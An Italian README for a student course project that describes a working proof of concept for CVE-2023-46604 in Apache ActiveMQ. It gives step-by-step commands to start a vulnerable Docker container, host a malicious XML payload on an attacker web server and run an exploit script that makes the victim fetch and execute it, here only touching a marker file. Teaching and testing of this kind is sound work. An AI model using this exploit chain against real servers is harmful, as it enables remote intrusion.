
Un PoC per CVE-2023-46604 scritto come parte del corso SPS per il master in Advanced Cyber Security presso UPB.
Compito: SSP Assignment 3 Squadra: RCE You Later Membri: Banica Horia Alexandru, Comarlau Vlad-Constantin
Link video dell'utilizzo del repository per fare la PoC: https://www.youtube.com/watch?v=vum4qTF4ygU
Questo repository contiene una Prova di Concetto (PoC) completamente funzionante per CVE-2023-46604. Questa vulnerabilità consente a un attaccante di eseguire comandi shell arbitrari su un server Apache ActiveMQ vulnerabile (versione 5.15.10) forzandolo a deserializzare un file di configurazione XML dannoso.
Obiettivo: Creare un file denominato pwned_by_ssp_team all'interno del server vittima per dimostrare il controllo.
Prima di eseguire l'exploit, assicurati di avere:
vulnerable-env/: Contiene la configurazione Docker per il server vittima.attacker/: Contiene gli script di exploit e i payload dannosi.
exploit.py: Lo script Python che invia il pacchetto dannoso.serve.py: Un semplice server HTTP per ospitare il payload XML.poc.xml: Il file di configurazione dannoso che contiene il comando touch /tmp/pwned_by_ssp_team.Eseguiremo una versione vecchia e vulnerabile di ActiveMQ usando Docker.
vulnerable-env:
cd vulnerable-env
docker-compose up -d
Il server vittima deve scaricare le istruzioni da noi. Imposteremo un piccolo server web per ospitare queste istruzioni.
attacker:
cd attacker
python3 serve.py
Tieni questo terminale aperto! Dovresti vedere 'Serving HTTP on 0.0.0.0 port 8000...'Ora inviamo il pacchetto di rete specifico che innesca la vulnerabilità.
Apri un terzo terminale.
Naviga nella cartella attacker:
cd attacker
Esegui lo script di exploit.
python3 exploit.py -i 127.0.0.1 -p 61616 -u http://host.docker.internal:8000/poc.xml
host.docker.internal con il gateway del bridge di rete, solitamente: 172.17.0.1. Prova a ottenere l'indirizzo in questo modo se il prescritto non funziona: docker network inspect bridge -f '{{range .IPAM.Config}}{{.Gateway}}{{end}}'Ha funzionato? Controlliamo se il file è stato creato all'interno del container.
/tmp all'interno della vittima:
docker exec activemq-victim ls -l /tmp
pwned_by_ssp_team.Per fermare e rimuovere il container vulnerabile:
cd vulnerable-env
docker-compose down